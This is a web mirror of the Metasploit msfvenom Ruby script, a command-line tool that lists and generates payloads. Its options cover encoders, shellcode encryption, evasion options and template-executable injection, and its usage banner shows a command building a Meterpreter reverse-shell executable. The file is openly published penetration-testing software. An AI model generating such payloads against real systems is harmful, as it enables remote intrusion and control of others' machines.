Mirror of metasploit
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

msfvenom 13KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479
  1. #!/usr/bin/env ruby
  2. # -*- coding: binary -*-
  3. class MsfVenomError < StandardError; end
  4. class HelpError < StandardError; end
  5. class UsageError < MsfVenomError; end
  6. require 'optparse'
  7. require 'timeout'
  8. def require_deps
  9. msfbase = __FILE__
  10. while File.symlink?(msfbase)
  11. msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase))
  12. end
  13. $:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib')))
  14. require 'msfenv'
  15. $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB']
  16. require 'rex'
  17. require 'msf/ui'
  18. require 'msf/base'
  19. require 'msf/core/payload_generator'
  20. @framework_loaded = true
  21. end
  22. # Creates a new framework object.
  23. #
  24. # @note Ignores any previously cached value.
  25. # @param (see ::Msf::Simple::Framework.create)
  26. # @return [Msf::Framework]
  27. def init_framework(create_opts={})
  28. require_deps unless @framework_loaded
  29. create_opts[:module_types] ||= [
  30. ::Msf::MODULE_PAYLOAD, ::Msf::MODULE_ENCODER, ::Msf::MODULE_NOP
  31. ]
  32. create_opts[:module_types].map! do |type|
  33. type = Msf.const_get("MODULE_#{type.upcase}")
  34. end
  35. @framework = ::Msf::Simple::Framework.create(create_opts.merge('DisableDatabase' => true))
  36. end
  37. # Cached framework object
  38. #
  39. # @return [Msf::Framework]
  40. def framework
  41. return @framework if @framework
  42. init_framework
  43. @framework
  44. end
  45. def parse_args(args)
  46. opts = {}
  47. datastore = {}
  48. opt = OptionParser.new
  49. banner = "MsfVenom - a Metasploit standalone payload generator.\n"
  50. banner << "Also a replacement for msfpayload and msfencode.\n"
  51. banner << "Usage: #{$0} [options] <var=val>\n"
  52. banner << "Example: #{$0} -p windows/meterpreter/reverse_tcp LHOST=<IP> -f exe -o payload.exe"
  53. opt.banner = banner
  54. opt.separator('')
  55. opt.separator('Options:')
  56. opt.on('-l', '--list <type>', Array, 'List all modules for [type]. Types are: payloads, encoders, nops, platforms, archs, encrypt, formats, all') do |l|
  57. if l.to_s.empty?
  58. l = ["all"]
  59. end
  60. opts[:list] = l
  61. end
  62. opt.on('-p', '--payload <payload>', String,
  63. "Payload to use (--list payloads to list, --list-options for arguments). Specify '-' or STDIN for custom") do |p|
  64. if p == '-'
  65. opts[:payload] = 'stdin'
  66. else
  67. opts[:payload] = p
  68. end
  69. end
  70. opt.on('--list-options', "List --payload <value>'s standard, advanced and evasion options") do
  71. opts[:list_options] = true
  72. end
  73. opt.on('-f', '--format <format>', String, "Output format (use --list formats to list)") do |f|
  74. opts[:format] = f.downcase
  75. end
  76. opt.on('-e', '--encoder <encoder>', String, 'The encoder to use (use --list encoders to list)') do |e|
  77. opts[:encoder] = e
  78. end
  79. opt.on('--sec-name <value>', String, 'The new section name to use when generating large Windows binaries. Default: random 4-character alpha string') do |s|
  80. opts[:secname] = s
  81. end
  82. opt.on('--smallest', 'Generate the smallest possible payload using all available encoders') do
  83. opts[:smallest] = true
  84. end
  85. opt.on('--encrypt <value>', String, 'The type of encryption or encoding to apply to the shellcode (use --list encrypt to list)') do |e|
  86. opts[:encryption_format] = e
  87. end
  88. opt.on('--encrypt-key <value>', String, 'A key to be used for --encrypt') do |e|
  89. opts[:encryption_key] = e
  90. end
  91. opt.on('--encrypt-iv <value>', String, 'An initialization vector for --encrypt') do |e|
  92. opts[:encryption_iv] = e
  93. end
  94. opt.on('-a', '--arch <arch>', String, 'The architecture to use for --payload and --encoders (use --list archs to list)') do |a|
  95. opts[:arch] = a
  96. end
  97. opt.on('--platform <platform>', String, 'The platform for --payload (use --list platforms to list)') do |l|
  98. opts[:platform] = l
  99. end
  100. opt.on('-o', '--out <path>', 'Save the payload to a file') do |x|
  101. opts[:out] = x
  102. end
  103. opt.on('-b', '--bad-chars <list>', String, 'Characters to avoid example: \'\x00\xff\'') do |b|
  104. init_framework()
  105. opts[:badchars] = Rex::Text.hex_to_raw(b)
  106. end
  107. opt.on('-n', '--nopsled <length>', Integer, 'Prepend a nopsled of [length] size on to the payload') do |n|
  108. opts[:nops] = n.to_i
  109. end
  110. opt.on('--pad-nops', 'Use nopsled size specified by -n <length> as the total payload size, auto-prepending a nopsled of quantity (nops minus payload length)') do
  111. opts[:padnops] = true
  112. end
  113. opt.on('-s', '--space <length>', Integer, 'The maximum size of the resulting payload') do |s|
  114. opts[:space] = s
  115. end
  116. opt.on('--encoder-space <length>', Integer, 'The maximum size of the encoded payload (defaults to the -s value)') do |s|
  117. opts[:encoder_space] = s
  118. end
  119. opt.on('-i', '--iterations <count>', Integer, 'The number of times to encode the payload') do |i|
  120. opts[:iterations] = i
  121. end
  122. opt.on('-c', '--add-code <path>', String, 'Specify an additional win32 shellcode file to include') do |x|
  123. opts[:add_code] = x
  124. end
  125. opt.on('-x', '--template <path>', String, 'Specify a custom executable file to use as a template') do |x|
  126. opts[:template] = x
  127. end
  128. opt.on('-k', '--keep', 'Preserve the --template behaviour and inject the payload as a new thread') do
  129. opts[:keep] = true
  130. end
  131. opt.on('-v', '--var-name <value>', String, 'Specify a custom variable name to use for certain output formats') do |x|
  132. opts[:var_name] = x
  133. end
  134. opt.on('-t', '--timeout <second>', Integer, "The number of seconds to wait when reading the payload from STDIN (default 30, 0 to disable)") do |x|
  135. opts[:timeout] = x
  136. end
  137. opt.on_tail('-h', '--help', 'Show this message') do
  138. raise HelpError, "#{opt}"
  139. end
  140. begin
  141. opt.parse!(args)
  142. rescue OptionParser::InvalidOption => e
  143. raise UsageError, "Invalid option\n#{opt}"
  144. rescue OptionParser::MissingArgument => e
  145. raise UsageError, "Missing required argument for option\n#{opt}"
  146. end
  147. if opts.empty?
  148. raise UsageError, "No options\n#{opt}"
  149. end
  150. if args
  151. args.each do |x|
  152. k,v = x.split('=', 2)
  153. datastore[k.upcase] = v.to_s
  154. end
  155. if opts[:payload].to_s =~ /[\_\/]reverse/ && datastore['LHOST'].nil?
  156. init_framework()
  157. datastore['LHOST'] = Rex::Socket.source_address
  158. end
  159. end
  160. if opts[:payload].nil? # if no payload option is selected assume we are reading it from stdin
  161. opts[:payload] = "stdin"
  162. end
  163. if opts[:payload].downcase == 'stdin' && !opts[:list]
  164. $stderr.puts "Attempting to read payload from STDIN..."
  165. begin
  166. opts[:timeout] ||= 30
  167. ::Timeout.timeout(opts[:timeout]) do
  168. opts[:stdin] = payload_stdin
  169. end
  170. rescue Timeout::Error
  171. opts[:stdin] = ''
  172. end
  173. end
  174. opts[:datastore] = datastore
  175. opts
  176. end
  177. # Read a raw payload from stdin (or whatever IO object we're currently
  178. # using as stdin, see {#initialize})
  179. #
  180. # @return [String]
  181. def payload_stdin
  182. @in = $stdin
  183. @in.binmode
  184. payload = @in.read
  185. payload
  186. end
  187. def dump_platforms
  188. init_framework(:module_types => [])
  189. supported_platforms = []
  190. Msf::Module::Platform.subclasses.each {|c| supported_platforms << c.realname.downcase}
  191. tbl = Rex::Text::Table.new(
  192. 'Indent' => 4,
  193. 'Header' => "Framework Platforms [--platform <value>]",
  194. 'Columns' =>
  195. [
  196. "Name",
  197. ])
  198. supported_platforms.sort.each do |name|
  199. tbl << [name]
  200. end
  201. "\n" + tbl.to_s + "\n"
  202. end
  203. def dump_archs
  204. init_framework(:module_types => [])
  205. supported_archs = ARCH_ALL.dup
  206. tbl = Rex::Text::Table.new(
  207. 'Indent' => 4,
  208. 'Header' => "Framework Architectures [--arch <value>]",
  209. 'Columns' =>
  210. [
  211. "Name",
  212. ])
  213. supported_archs.sort.each do |name|
  214. tbl << [name]
  215. end
  216. "\n" + tbl.to_s + "\n"
  217. end
  218. def dump_encrypt
  219. init_framework(:module_types => [])
  220. tbl = Rex::Text::Table.new(
  221. 'Indent' => 4,
  222. 'Header' => "Framework Encryption Formats [--encrypt <value>]",
  223. 'Columns' =>
  224. [
  225. "Name",
  226. ])
  227. ::Msf::Simple::Buffer.encryption_formats.each do |name|
  228. tbl << [ name]
  229. end
  230. "\n" + tbl.to_s + "\n"
  231. end
  232. def dump_formats
  233. init_framework(:module_types => [])
  234. tbl1 = Rex::Text::Table.new(
  235. 'Indent' => 4,
  236. 'Header' => "Framework Executable Formats [--format <value>]",
  237. 'Columns' =>
  238. [
  239. "Name"
  240. ])
  241. ::Msf::Util::EXE.to_executable_fmt_formats.each do |name|
  242. tbl1 << [ name ]
  243. end
  244. tbl2 = Rex::Text::Table.new(
  245. 'Indent' => 4,
  246. 'Header' => "Framework Transform Formats [--format <value>]",
  247. 'Columns' =>
  248. [
  249. "Name"
  250. ])
  251. ::Msf::Simple::Buffer.transform_formats.each do |name|
  252. tbl2 << [ name ]
  253. end
  254. "\n" + tbl1.to_s + "\n" + tbl2.to_s + "\n"
  255. end
  256. def dump_payloads
  257. init_framework(:module_types => [ :payload ])
  258. tbl = Rex::Text::Table.new(
  259. 'Indent' => 4,
  260. 'Header' => "Framework Payloads (#{framework.stats.num_payloads} total) [--payload <value>]",
  261. 'Columns' =>
  262. [
  263. "Name",
  264. "Description"
  265. ])
  266. framework.payloads.each_module { |name, mod|
  267. tbl << [ name, mod.new.description.split.join(' ') ]
  268. }
  269. "\n" + tbl.to_s + "\n"
  270. end
  271. def dump_encoders(arch = nil)
  272. init_framework(:module_types => [ :encoder ])
  273. tbl = Rex::Text::Table.new(
  274. 'Indent' => 4,
  275. 'Header' => "Framework Encoders" + ((arch) ? " (architectures: #{arch})" : "") + " [--encoder <value>]",
  276. 'Columns' =>
  277. [
  278. "Name",
  279. "Rank",
  280. "Description"
  281. ])
  282. cnt = 0
  283. framework.encoders.each_module(
  284. 'Arch' => arch ? arch.split(',') : nil) { |name, mod|
  285. tbl << [ name, mod.rank_to_s, mod.new.name ]
  286. cnt += 1
  287. }
  288. (cnt > 0) ? "\n" + tbl.to_s + "\n" : "\nNo compatible encoders found.\n\n"
  289. end
  290. def dump_nops
  291. init_framework(:module_types => [ :nop ])
  292. tbl = Rex::Text::Table.new(
  293. 'Indent' => 4,
  294. 'Header' => "Framework NOPs (#{framework.stats.num_nops} total)",
  295. 'Columns' =>
  296. [
  297. "Name",
  298. "Description"
  299. ])
  300. framework.nops.each_module { |name, mod|
  301. tbl << [ name, mod.new.description.split.join(' ') ]
  302. }
  303. "\n" + tbl.to_s + "\n"
  304. end
  305. begin
  306. generator_opts = parse_args(ARGV)
  307. rescue HelpError => e
  308. $stderr.puts e.message
  309. exit(1)
  310. rescue MsfVenomError => e
  311. $stderr.puts "Error: #{e.message}"
  312. exit(1)
  313. end
  314. if generator_opts[:list]
  315. generator_opts[:list].each do |mod|
  316. case mod.downcase
  317. when "payloads", "payload", "p"
  318. $stdout.puts dump_payloads
  319. when "encoders", "encoder", "e"
  320. $stdout.puts dump_encoders(generator_opts[:arch])
  321. when "nops", "nop", "n"
  322. $stdout.puts dump_nops
  323. when "platforms", "dump_platform"
  324. $stdout.puts dump_platforms
  325. when "archs", "dump_arch"
  326. $stdout.puts dump_archs
  327. when "encrypts", "encrypt", "encryption"
  328. $stdout.puts dump_encrypt
  329. when "formats", "format", "f"
  330. $stdout.puts dump_formats
  331. when "all", "a"
  332. # Init here so #dump_payloads doesn't create a framework with
  333. # only payloads, etc.
  334. init_framework
  335. $stdout.puts dump_payloads
  336. $stdout.puts dump_encoders
  337. $stdout.puts dump_nops
  338. $stdout.puts dump_platforms
  339. $stdout.puts dump_archs
  340. $stdout.puts dump_encrypt
  341. $stdout.puts dump_formats
  342. else
  343. $stderr.puts "Invalid type (#{mod}). These are valid: payloads, encoders, nops, platforms, archs, encrypt, formats, all"
  344. end
  345. end
  346. exit(0)
  347. end
  348. if generator_opts[:list_options]
  349. payload_mod = framework.payloads.create(generator_opts[:payload])
  350. if payload_mod.nil?
  351. $stderr.puts "Invalid payload: #{generator_opts[:payload]}"
  352. exit(1)
  353. end
  354. $stderr.puts "Options for #{payload_mod.fullname}:\n" + "="*25 + "\n\n"
  355. $stdout.puts ::Msf::Serializer::ReadableText.dump_module(payload_mod, ' ')
  356. $stderr.puts "\nAdvanced options for #{payload_mod.fullname}:\n" + "="*25 + "\n\n"
  357. $stdout.puts ::Msf::Serializer::ReadableText.dump_advanced_options(payload_mod, ' ')
  358. $stderr.puts "\nEvasion options for #{payload_mod.fullname}:\n" + "="*25 + "\n\n"
  359. $stdout.puts ::Msf::Serializer::ReadableText.dump_evasion_options(payload_mod, ' ')
  360. exit(0)
  361. end
  362. generator_opts[:framework] = framework
  363. generator_opts[:cli] = true
  364. begin
  365. venom_generator = Msf::PayloadGenerator.new(generator_opts)
  366. payload = venom_generator.generate_payload
  367. rescue ::Msf::Simple::Buffer::BufferFormatError => e
  368. $stderr.puts "Error: #{e.message}"
  369. $stderr.puts dump_formats
  370. rescue ::Exception => e
  371. elog("#{e.class} : #{e.message}\n#{e.backtrace * "\n"}")
  372. $stderr.puts "Error: #{e.message}"
  373. end
  374. # No payload generated, no point to go on
  375. exit(2) unless payload
  376. if generator_opts[:out]
  377. begin
  378. ::File.open(generator_opts[:out], 'wb') do |f|
  379. f.write(payload)
  380. end
  381. $stderr.puts "Saved as: #{generator_opts[:out]}"
  382. rescue ::Exception => e
  383. # If I can't save it, then I can't save it. I don't think it matters what error.
  384. elog("#{e.class} : #{e.message}\n#{e.backtrace * "\n"}")
  385. $stderr.puts "Error: #{e.message}"
  386. end
  387. else
  388. output_stream = $stdout
  389. output_stream.binmode
  390. output_stream.write payload
  391. # trailing newline for pretty output
  392. $stderr.puts unless payload =~ /\n$/
  393. end